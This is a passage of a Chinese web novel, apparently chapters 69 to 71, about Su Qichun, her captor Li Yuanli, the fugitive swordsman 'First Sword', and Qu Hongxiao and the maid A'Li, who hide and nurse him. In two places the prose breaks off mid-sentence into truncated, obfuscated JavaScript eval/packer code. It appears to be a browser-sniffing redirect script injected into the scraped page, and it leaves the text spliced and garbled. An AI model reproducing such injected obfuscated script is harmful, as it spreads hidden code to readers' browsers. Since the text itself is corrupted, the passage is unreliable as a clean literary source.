但也许不是呢?也许他根本就忘了她,根本就抛弃了和她的那些点滴,根本就从未回来过,根本就不想再见到她。 他或许是怨恨她,怨恨她没有拦住他们,怨恨苏家人把他赶走。 或者是不在意她了,将从前的时光一一抛下,将她视作生命中的一个过客,仅此而已。 谁说他就一定跟她一样,还在想着她,念着她? 她不知道,她一点儿都不知道。 从前坚信的信念开始动摇,崩塌。 仔细想想,她过了那么久才知道他不是真正的陆之山,一直到此时,她连他是谁都不知道,其实她不了解他,一点儿都不。 门被人轻轻推开,寒风顺着门缝吹进来,吹得灯火不断摇晃,一个黑影从门外走进,步子很轻,他走到苏祈春身边,瞟了一眼桌子上剩下的糯米糕,顿了一下,修长的手捏起一枚放进嘴里,细细咀嚼。 苏祈春望着地上长长的人影,有些恍惚,她多希望这个人是她日思夜想的那个人,如果是就好了。 李元礼咬了一口,皱眉,仔细地看手上的糯米糕,摇头道:“这糯米糕是你做的?” 苏祈春缓缓抬起眼,静静地看他,仿佛不认识他了一样,看得认真专注,像要把他的所有都看穿,“你那么神通广大,还用问我?”她忍不住出言讽刺。 偏偏那么巧曲府就在附近,偏偏那么巧阿梨原来就是曲府的人,偏偏那么巧,世上哪有那么巧的事?她不信这一切不是李元礼安排的。 李元礼听完不置一词,反而将手里的糯米糕全部放进嘴里,咀嚼吞咽,良久,才露出餍足的笑,“纤纤做的,就是好吃。” 苏祈春虚弱得连白他一眼的力气都要没了,但她还是想问问他关于曲家的事,她道:“曲家那位新姑爷的身份,你知道吗?” “什么身份?”李元礼又拿了一块糯米糕,顺势坐在苏祈春的身边,两人隔着不远不近的距离,苏祈春的整个身子都在他的眼下。 “还能有什么身份?你别装傻。”苏祈春越说越气。 李元礼咬了一口糯米糕,淡淡移过眼,“他不是什么好人。” “不是好人?”苏祈春坐直身子。 “一个江湖人,手上沾满鲜血,算得了什么好人?”李元礼自是不把这些刀尖儿舔血的江湖人放在眼里,在他看来,这世上任何一个人都要比他们好。 苏祈春说不出话,她没办法反驳,他们确实手上沾满了血,是他们这样的平民百姓难以想象的,她平日里看见垂死的小猫小狗都会心疼,何况是杀人? 她的山哥哥真的也是这样的人么?杀人不眨眼。 她不敢想,还是继续问:“我只要知道他是谁,至于他是不是好人,不用你来告诉我。” 李元礼嘴里的糯米糕嘎嘣一下碎了,其声如玉碎。 被困的囚犯大多会为了活命而变得低微顺从,像苏祈春这般始终理直气壮无所畏惧的,他真的第一次见,原本他以为,让她去洗恭桶会让她害怕些,现下看她是一点儿都不会怕他了。 在这里几日,他已将那个人的情况都打听了一遍,倒也是江湖里有名的人物,不过…… “不过什么?”苏祈春问。 李元礼慢悠悠地说:“不过一个快要死了的人。他既然有胆子冒充天下第一剑,就该想到自己有这么一天,第一楼是什么地方?第一楼的楼主又是什么人?怎么会容许他挑衅?” 李元礼盯着苏祈春,目光如薄刃,“你以为他为什么会在曲家?他不过是想找一个靠山,借着曲家在常春县的势力保自己一命,一个江湖人,沦落到要靠平民去庇护他,他离死也不远了。” 他看着苏祈春的脸色愈发地白,话锋一转,又道:“不过也不一定,我听说曲红绡很在意他,他们二人在曲家宛若一对交颈鸳鸯……”他一边说一边观察苏祈春的反应,苏祈春整个人紧绷着,像在压抑着什么。 他接着道:“以曲家在湛江县的势力,若他不离开曲家,或许还能留一条活命。” 苏祈春的眸底像是有光,明明灭灭,她恍然想到一个很重要很重要的事,立马就要问李元礼,“那就是说,他也许是因为要保命所以才留在曲府,对不对?” 一定是这样的,她的山哥哥一定是有不得已的苦衷,所以才留在另一个小女郎的身边,她的山哥哥不是忘了她,绝对不是。 李元礼像是一眼就看穿了她的想法,忍不住冷笑,他没 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李元礼从未在苏祈春的眼里看到任何一丝对他的温情,从来没有。他涨红了脸,浑身简直要爆炸,可很快,他又平静下来,松开捏住苏祈春下巴的手,站起身,振平下摆上的褶皱,缓缓转身,向门外走去。 门栓轻轻拉开的时候,屋里面传来一声叹息声,叹息声很轻很轻,如释重负一般。这声音轻如鸿毛地落在李元礼的心上,压得他的心很沉。 门关上的时候,曲红绡望着眼前人挺拔的身影,气得杏眼圆瞪,她嘟着嘴,大声地说:“为什么要走?” 眼前人俊朗,眉目如峰,整个人冷冷的,好像雪山里的青松。她遇见他时,他身受重伤,躺在雪地里,好像快要死了,她根本不爱管闲事,却看到了他手中的饮冰剑。 “十年饮血,方得饮冰。” 她曲红绡这辈子就是要嫁世间上最厉害的人,这世上最厉害的不就是手握饮冰剑的他么? 把他救醒后,她才发现,原来他也上过她比武招亲的擂台,只是那时候,她不知道曲余青是冒领第一剑的头衔,更不知道他就是第一剑。 曲红绡试了他许多次,发现他武功平平,内力弱得要命,她几乎要以为他也是冒充的,却意外听到曲余青和他的对话。她的好哥哥竟然一直骗她,瞒她,真是个好哥哥。 从此她对他更好了。 第一楼的人追杀他,她就将他藏进家里,为他换一个身份,保护他照顾他,说是金屋藏娇也不为过。 虽然他武功变弱了,可曲红绡就是觉得他身上有种不俗的气质,是别的人都没有的,只有第一剑才有。 可这个人偏偏不领情,一有机会就想走,就想逃,就想从她的手心溜走。这一年来,除了第一楼的人,她还安排了不少自己的人,假装来杀他,就是为了留住他。她就是不想,就是不想让他走。 “何必呢?”少年脸上没有一丝表情,就算是说着狠心的话,却依然可以云淡风轻,“何必拦我?我始终是要走的,今天不走,明天也会走,你留不住我。” 69. 很般配 69很般配 曲红绡沾满红色的眼尾多了些颤抖,她走上前,拽住眼前少年的衣袖,不肯放手,“你不许走!你知不知道外面有多少人想杀你?” 少年一声不吭,曲红绡又走到少年的面前,面对着他,胸口起起伏伏,像在经历什么特别难忍的事。 “你要想清楚,第一楼的人可不是那么好对付的,你在第一楼那么多年,第一楼的手段,你应该知道的。” 曲红绡紧紧盯住他,不敢挪开一眼,仿佛她一松懈,他就会消失,“若是你走了,没了曲家的保护,第一楼的人立马就会找到你,要是被第一楼的人抓住,我也救不了你!” 少年的手放在门框上,手指嵌在花格子里,攥得发白,他听得满脸笑意,好似这不是什么关于生死的事,而是每日的起坐茶饮,最稀松平常不过。 曲红绡看见他这般淡然的样子,就知道她没有吓到他,就不自觉地害怕,“你知不知道,你要是被第一楼的人抓住,他们会杀了你的,你不怕死么?” 少年的笑意渐渐扩大,像听到特别开心的一件事,“我从小就被楼主收养,本就欠他一条命,他若是要我的命,我还他就是了。” 灯火落在少年的眼中,少年眼底燃起一片亮色。 其实这么多年,他都以为楼主是他在这世上唯一的亲人。自打他记事起,就是楼主在他身边,教他武功,陪他写字。那时楼主待他很好,总是笑着,只有在他偷懒不去练武的时候,他才会对他凶。 就连楼主的亲儿子也会嫉妒他,嫉妒他得到了楼主更多的爱。 年少的那段时光,绵长悠远,是他忘也忘不掉的,以至于他始终将楼主放在他心里最重要的位置。 后来,他的剑练得比楼主还要快,还要好,楼主很高兴,重重地拍着他的肩膀,朗声笑道:“好孩子好孩子,从此以后,我的这把饮冰剑就传给你。” 他这个好孩子也没辜负楼主的期望,一出手,就打败了江湖上各类有头有脸的人物,一时之间,他名声大噪。 有人问他是谁?没有人知道,他们只知道他有一把饮冰剑,只知道他剑法超群,无人能敌,所以他们就叫他“第一剑”。 当第一剑没什么不好的,可是在挑战了一众武林高手后,当他的手上满是鲜血时,他真的不想再当第一剑了,甚至不想当一个江湖人。 他放下所有,去到山野里,想在那里看天边云聚云散,日落月升,想就这么了却残生。 可他的命根本就不是他一个人的,他还欠楼主,欠楼主太多太多。多到他连怎么活都身不由己,多到他想死都无能为力。 在他离开苏府后,第一楼的人很快找到了他,他们说:“楼主十分挂念你,请你回去和楼主团聚。” “楼主还说了,那日你遇伏被害一事,楼主也会为你查清楚。” 可他不想回。 第一楼的人起初还好言相劝,后来渐渐开始威逼利诱,他不想牵连苏家,一路向北,去到离苏家越来越远的地方,他以为这样会保护他们。 如今看可能确实保护了他们,他看到苏祈春的样子,通身华贵,珠玉满头,她站在那个男子身边,郎才女貌,确实般配得很。 他想到这里,嘴角泛起笑,有些凄凉,像冰面上冒出来的寒气。 是的,很般配。 不管怎样,都比和他这个恶贯满盈的江湖人要般配。 “你说什么?”曲红绡气红了脸,“你把你的命还给他?你凭什么要把你的命还给他?你别忘了,我也救了你一命!”曲红绡掰开他按着门的手,不让他走,“你也欠我一条命,你不能走,你要留在这里。” 少年没有半分退缩的迹象,而是冷冷地看着她,那眼神里不含攻击,没有怨恨,平静得可怕。 曲红绡从小到大要什么有什么,头一次被人这么拒绝,她曾经的骄傲与跋扈在此刻没有半分的用,她心里已有些愤懑,脸上仍强撑着,无所谓的样子,“好啊,你走吧,走了就永远别回来。” 少年拨开曲红绡的手,推开门,缓缓走出去,外面月光如水,照在雪地上,映出一段洁白。 曲红绡立在门外,寒风将她的脸吹得通红,她看着他越走越远,气不过,心里像被火烧了一样,拳头狠狠地砸在门框上,“砰”地一声响。 很快,几个黑影从黑暗处闪出来,恭恭敬敬地对着曲红绡,曲红绡红着眼,咬牙切齿地道:“去把他抓回来。” 满地的雪白,少年长长的身影落在上面,风雪从他的袖口灌进去,吹得整个袍子都鼓起来。他顶着风,一步步往前走,雪地里留下他踩出的一个个脚步印。 很快,雪地里多了许许多多的脚步,白皑皑的雪被踩得泥泞凌乱。 厮杀在这一刻发生。 若是他还有之前的武功,对付这几个人应该不在话下,可是这三年里,他的伤越来越重,渐渐地,也将他的内力消耗干净,他此时只能靠着蛮力来对付他们。 好在那群人似乎并不想杀了他,他本来快要招架不住,却硬生生用自己的胳膊扛了一刀,他忍着疼,反手震断来人的刀剑,踩着墙面跃到墙内。 摔下来时,他顺势滚进掩映的草木里,府内的家仆闻声赶过来,墙外的人不敢进来,他整个人蜷缩起来,不敢动弹,好在他一声的白,恰巧这雪也是,家仆们四面瞧了瞧,什么也没看到就走了。 他伤口处不断往外泊泊地流着血,鲜血滚烫,流进冰冷的雪里,很快失去温度,他的意识也跟着流失的血一起,渐渐消失。 再醒来时,天蒙蒙亮,他耳边响起少女的吟唱声,少女拿着瓶子,踮起脚去拨白梅上的雪,脸上溢满无拘无束的姿态。 雪粒子一簇一簇地从白梅上落到瓶子里,没一会儿,阿梨就集满了一整瓶雪水,一瓶雪水刚好可以泡两盏茶,今日两 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她趁四下无人将少年拖到附近的柴房里,又拿了些炭火放在他身边,希望能暖暖他的身子。 他被冻了一夜,浑身早已冻僵,身上也全是伤,连呼吸都很微弱。阿梨不懂医术,但这几日跟着苏祈春,也听到过只言片语,她凭着记忆拿了些药,差点儿被苏祈春发现。 苏祈春问她,“你是不是拿我的药了?” 阿梨连忙摇头,心虚地说:“没有,没有。” 苏祈春将信将疑,什么也没说,提笔继续写自己的字,等到阿梨走出去,苏祈春顿了顿手中的毛笔,抬眼若有所思地看了看阿梨急匆匆的背影。 阿梨最近很古怪,府里边的人有眼睛的都发现了,她这几日总是时不时地就失踪一段时间,有时候苏祈春找她半天都找不到,府里人已经有人在猜是不是这丫头跟哪个野男人鬼混去了。 李元礼天天不着家,但对家里的事情倒是了如指掌,他和苏祈春说:“后院的柴房好久没人收拾了,阿梨倒是个有心的,天天往那边去。” 苏祈春很快明白李元礼的意思,这几日李元礼每日出去忙,也不多管她的事,她倒不觉得他有多烦了,偶尔也和他说几句话。 少女怀春总是常事,苏祈春不愿意棒打鸳鸯,于是忙道:“她愿意去就让她去,阿梨是我的丫头,你少管。” 李元礼眼眸闪了闪,他回头望一眼苏祈春,淡淡道:“我不管,只要别闹出丑事就行。” 苏祈春自然也不想闹出丑事,倒不是会丢人,而是觉得对阿梨不好,不管怎样挣扎,在此处,女子的后半生往往系于男子身上,她的后半生怎么样她可以无所谓,但阿梨不行。 用过午饭后,苏祈春说要歇下,早早地将阿梨赶出去,她眼皮耷拉着,但还是看到了阿梨欣喜的样子,这么一弄,她倒是好奇了,这是哪来的男的,将阿梨迷成这样? 70. 很清楚 70很清楚 这所院落幽静,前院宽敞,后院深暗,苏祈春穿过一座小桥,迎面而来的是一排排白梅树,白梅树长得盛大而又热烈,梅花和雪攒在枝头,像极了一枚簪子。 走过白梅树林,丫鬟们的居所便露出来,那是一排平房,一间挨着一间,此时丫鬟们都在前面伺候着,是以屋门个个紧闭着,没半分人气儿。 苏祈春也没多停留,继续往后走,靠院墙那里也有几间房子,都是放些杂物,平时没有人来。 苏祈春缓缓地往那几间屋子走去,四周静悄悄的,连雪落的声音都听得到,她踏上长廊,雪粒子被风吹到地上,铺成薄薄的一层白,她轻轻踩上去,留下一枚枚脚印。 走得近了,声音也渐渐传出来,苏祈春听得很清楚,那是阿梨的声音,她不知不觉,听得步子慢下来。 阿梨的声音带着些埋怨,像个深闺小怨妇在抱怨回家晚了的丈夫,“你怎么回事儿?都说了要你好好吃药,不要乱动,你怎么又不听话?” 阿梨叹口气,接着说:“平日里看你乖乖的一个人,怎么也这么犟脾气?我跟你说,我家夫人可是湛江县有名的大夫,湛江县里有家怀仁堂,传承百年,历经好几代大夫,我家夫人就是怀仁堂苏大夫独生的女儿,学得一手好医术。” 阿梨说着说着笑起来,似乎想到特别骄傲的事,“我听我家夫人说,像你这种刀伤就得静养,养好了才能活动,不然到时候落下病根儿了,更难受。” 苏祈春也听得笑起来,她与阿梨相处的时间实在不算久,但没想到在阿梨心里,她是这样一个医术高超的人。 她这么想着,便走到了柴房的门口,她偏脸朝屋里看,白雪和日光在窗纱上映出阿梨和少年的身影,阿梨蹲在地上,低着头,像在给地上躺着的人敷药,看起来格外认真。 苏祈春看了会儿,忽然觉得眼前的一切很美好,她仿佛回到很久之前,在觉明院的小小屋子里,她也是这样,给她的山哥哥敷药,她还会跟他说:“药要多敷才有用。” 她看得怔住,直到屋子里一个吃痛的男声传出来,苏祈春才惊醒过来,一下子意识到什么,脸红成一片。 她这样在门口偷看别人甜甜蜜蜜,实在是太羞人了,可不是大女子所为。 她慌乱地摸自己的脸,下意识地要往回走,下了走廊才想到,自己这次来的目的,又急匆匆地扭身拐回去,走到柴房门口,压下自己乱跳的心,轻轻换了声,“阿梨。” 屋里紧接着传来药瓶破碎的声音,但却没人答话,苏祈春又喊了一声,阿梨战战兢兢的声音才响起来,“来……来了来了……” 阿梨打开门,头也不敢抬。 也不知是好奇还是什么,苏祈春的目光朝着门缝里望了一眼,只一眼,她好似看到了一片白,模模糊糊的,但又觉得在哪里见过。 阿梨瞧见苏祈春往里看的眼神,连忙把门关紧,眼神飘忽地望着苏祈春,道:“夫人,你怎么来了?” 门关上了,苏祈春有些失落地别过眼,目光落在阿梨身上,“你还说呢,我不过是打了个盹儿,一醒来,就找不到你人了,找了半天,原来是躲在这儿偷懒儿了。” 阿梨心虚,她低下头,支支吾吾地回:“我走到这儿,就来看看。” “有什么好看的?”苏祈春作势要进柴房,阿梨吓得连忙拦住,苏祈春瞧着她这副做了坏事不敢让人发现的样子,就好笑,故意地说:“怎么?这么拦着,难不成里面有你的野男人?” “才没有!”阿梨一下子急了,恨不得跳起来反驳,虽然这里面确实有个男的,可要说是她的野男人,她也冤枉了,且不说那少年和曲红绡有着千丝万缕的关系,就是没有,一个江湖人,她也是万万看不上的。 苏祈春眯着眼笑,像看穿她一般,她退后半步,指尖点了点阿梨的额头,道:“好啊,没有就好,你是我的丫鬟,可不能做出婚前失礼的事儿,不然我一定饶不了你。” 阿梨听了这话,心里像堆在一起的瓶子哗啦啦倒了一样,乱成一团,常春县民风粗犷,但女子还是有诸多限制,若是被别人误会她在婚前和男的有什么纠葛,她一定嫁不出去了! 苏祈春突然来这里找她,一定也是听到了什么风声,她好后悔,悔得肠子都青了,她真不该,真不该一时心软收留了这个人。 她越想越着急,来柴房的次数越来越少,就算是来,给他上药也不如从前用心了,常常一次敷好多药,就盼着他快些好,自己也好摆脱这个烫手山芋。 少年自然敏锐地捕捉到这些,包括苏祈春说的话,她一闪而过的眼神,他都记得,一点点记得很清楚。 他也越来越急着想要离开,有太多人想要他的命,他留在这里,对谁都不好,还是不要打扰她平静的生活,就让他在外面流浪,而她在温暖而舒服的宅子里度过一生,这样最好。 阿梨每回来的时候,他总会有意无意地问几句关于苏祈春的事,他听到的是:夫人很好很幸福,老爷对她很好,他们两个就是天造地设的一对。 这些话本是阿梨敷衍人随口乱说的,可他却记在了心里,尤其是那句:很好很幸福。 在分开的三年里,他无数次地想要回去,去见一见苏祈春,但又害怕会伤害到她,不见自己痛苦,见了又怕她受伤,后来他终于杀死了属于自己的小小执念,变得只希望她好。 只要她好,就好了。 于是在一天夜里,他捡起阿梨帮他寻的木棍,一点点支着身子往外走,他走下长廊,路过丫鬟们住的那排平房,又穿过一座小桥,走到亮着灯的屋宇旁,远远地,他看到窗户上的剪影。 无数次的梦里的场景与此时此刻重叠,少女握着笔,低着头,在纸上用力地写着,一笔一划,一撇一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哼。”曲红绡脸上露出轻蔑之意,“你知道就好,来人,给我搜。” 李元礼面上平静,似是胸有成竹,苏祈春看了这半天,也听明白了曲红绡的意思,李元礼的生意她从来不过问,只知道是贩卖些药材,她曾在李元礼身上闻到些药草味道,那味道,怪得很。 不过看李元礼这样子,恐怕曲红绡也搜不到什么。 果然,没一会儿,曲红绡便两手空空地回来,脸色很不好看。 李元礼还没说什么,身后的阿梨倒突然松了口气。 “不是说就在这儿吗?人呢?”曲红绡怒气冲冲。 “我们明明……” “住嘴!”曲红绡甩出手中的鞭子,向说话的人身上卷去,鞭子势头猛,很快卷到人腰上,那人一声嘶吼,身上已多了道又长又深的鞭痕。 等到那人躺在地上说不出话,曲红绡才稍稍松口气,对着众人说:“还不快去找,找不到,你们都别想活了!” 众人听了这话,立刻作鸟兽散。 苏祈春也被骇了一跳,动不动将别人的生死挂在嘴边这种事,不应该是江湖人做的么?曲家女郎何至于此? 她正想着,耳边传来一个柔柔的声音,她回头,看到李元礼低头询问的眼神,“怎么?被吓到了?” 71. 原来是 71原来是 苏祈春抬头,见到是李元礼,瞪了他一眼,抓住低着头的阿梨往自己屋里走。 待到无人处,苏祈春回身,盯着阿梨看了许久,阿梨低着头,攥着衣角,看上去心绪颇不安宁,苏祈春心里已猜出几分,她一边涂着冻疮膏,一边漫不经心地问:“你的那个小相好和曲红绡是什么关系?” “什么小相好?!” * “什么?!”曲红绡猛拍一下桌子,身旁的桌子瞬间裂开一个缝,屋子里的人见此场景更不敢说话,头低得越来越深。 “是……确实是苏家女郎……” 曲红绡的脸色由白转青,挺直的身子渐渐变软,她无力地倚在椅背上,这些日子的事忽然在她眼前豁然开朗。 原来不是看到了第一楼的人,而是看到了苏祈春,所以他才会突然戴上面具。 原来不是她做错了什么,而是苏祈春来了,所以他一定要走。 他一离开,就到了苏祈春这里…… 原来…… 她一直知道,有个姓苏的表妹,一直照顾他,他与她的情谊很深。但她总觉得自己可以替代苏祈春在他心里的位置,只要时间足够长。今时今日她才知道,原来不行。 震惊、伤心、委屈、愤怒,种种种种交织在一起,像被风吹得缠绕的线一般,理也理不清楚。 过了好久,底下的人战战兢兢地问:“女郎,陆公子还找不找了?” 曲红绡强忍着,泪水没有滚下来,她握紧了手,红着眼,一字字道:“找。还有那个姓李的,也给我查,一个外乡人在常春县能有这么大生意,一定有古怪。” “是。”底下的人应了一声,脚下的步子一刻也未停,匆匆退出去,他们跟着曲红绡多年,对曲红绡的脾性知道得一清二楚,像今日曲红绡的样子,最吓人,他们得跑快点儿。 果然,刚走出屋子,屋里就传来一阵器皿破碎的声音。 * 苏祈春听完阿梨的话,眉头皱成了麻花,她一会儿指着阿梨想要凶她,怪她瞒着自己,一会儿又捂着胸口后悔,后悔自己怎么没有去见见他,一会儿又红着眼眶,心也跟着疼疼的,他知道她在这儿,可是也没来找她。 她一直被这些纠结的情绪缠绕,直到日头升到中空,一天之内最热的时候到来,李元礼走进屋子,伺候的丫鬟想说话,被他止住。 他来到苏祈春面前,盯着她看了好久,苏祈春都毫无反应,他嘴角掠过一个笑,用指节轻叩桌面,苏祈春睁着红红的眼望他,见是他,脸上很快蒙上失望的神色。 李元礼的脸也跟着沉下来,他做到她身边,接过阿梨递过来的茶水,茶水温热,热气熏得他眼都要睁不开了。 他缓缓喝完,身子变得很暖很热,手指绕在盏沿上绕圈,他望一眼苏祈春,对着阿梨说:“带她跟我走。” 苏祈春浑浑噩噩地,被拉着穿上衣帽,又被推进马车里,她和李元礼相对而坐,一路无话。 马车停下的地方是一条不算大的街道,道路两旁开着大大小小的药铺和酒楼,苏祈春一下车,就闻到一股熟悉的药香,这味道和李元礼身上的,一模一样。 两人在路上走,临街的药铺里的人见到他们,一个个站到门口朝他们弯腰行礼,李元礼神色不动,像是很习惯。 苏祈春倒是浑身不自在。 李元礼道:“怎么样?看到了么?这条街都是我的产业。” 苏祈春知道他生意做的大,但没想到这么大,这条街上,至少有八家药铺,三家酒楼,常春县算是北边富庶的小县,能拿下这么多店铺,属实不易。 两人走到一家酒楼前,酒楼装饰华丽,门口的人络绎不绝,李元礼在酒楼门口站定,扭身和苏祈春面对面,脸上带着特温柔的表情,苏祈春好像从未见过他这样,眉眼温柔带笑,像极了清白的少年郎。 “还记得这里么?”李元礼看着她问,眼神熠熠发光,似是很期待。 加上三年前的那次,苏祈春总共只来过常春县两次,上一次只是匆匆地来,她一心记着山哥哥的病,全然没有仔细看过周边的风景,至于这里,她更是没有一丝印象。 李元礼脸上浮上压不住的失落,他勉强地笑,指着脚下的位置,笑着说:“你还记得吗?三年前,就是在这里,你救了一个小乞丐。” “小乞丐?”苏祈春的记忆随着这个词语开始搜寻,李元礼眼里的光又渐渐亮起,苏祈春最终还是摇摇头,“我只记得,山哥哥的眼睛就是在这里好起来的,他第一个看到的人,是我。” “至于什么小乞丐,我完全记不起来了。” 李元礼缓缓垂下眼,嘴角的笑渐渐变为苦笑,苦涩得像药,许久,他抬眼,目光望向远处,又收回,落在苏祈春身上,“不记得也没事,我跟你讲。” “以前有个特别坏的人,后来自作自受,被骗到船上,起初他仍然嚣张跋扈,以为自己还是那个不可一世的人,殊不知,到了船上,他拥有的一切都没有用了,甚至他的兄弟也跟着陷害他。” 他说到这儿,眼里满是痛苦,像是想到了特别难过的事,“他被人骗,被人害,被人欺凌,以至于到了街头要饭的地步,他处处看人脸色,仰人鼻息,靠着别人的可怜和施舍才得来一点点东西,他本来快要活不下去了……” 他看着苏祈春并未看着他的眼,“还好,他遇见了一个故人,她没认出我,但给了我药,给了我钱,如果没有这些,他真的会死……苏祈春,你知道这个人是谁吗?” “李元礼。”苏祈春忽然抬头,对上他的眼,满眼含泪,他的心跟着一紧,苏祈春抓住他的胳膊,语气里带着哀求,“李元礼,你知道陆之山在哪吗?” 李元礼的心越来越沉,此时此刻,高高的日头已渐渐落下,四周俱是冷寂的风,冰凉的雪,李元礼的脸也跟着变得冰冷,他伸手拂开苏祈春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这地方应当是山上猎户平时打猎住的地方,只有一张床,一张桌子,墙角处还残留着血迹,约摸着猎物的血。 床边燃着一簇火,火光柔软,让整个屋子都暖和起来。 苏祈春心里猜着,救自己的一定是这山中的猎户,她也真够幸运的,大难不死。 她忽然想到什么,低下头看自己身上的衣服,竟然还是自己穿的那一套,但已经干了,也不知救她的人是怎么做到的。 “吱呀”一声。 她望向木门的地方,目光闪动。 进来的是一个满身白衣的少年,挺拔疏朗,身上有种冷冷的气质,只是看不见脸,他的脸上戴着面具。 他进来后,一直看着她,望着她说:“这里冷,你盖好。” 苏祈春看得一目不眨,都没注意到身上的被子已经滑落,她呼吸变得很急促,心也砰砰地跳,她像是没听到他的话一样,没头没尾地问一句:“你是谁?”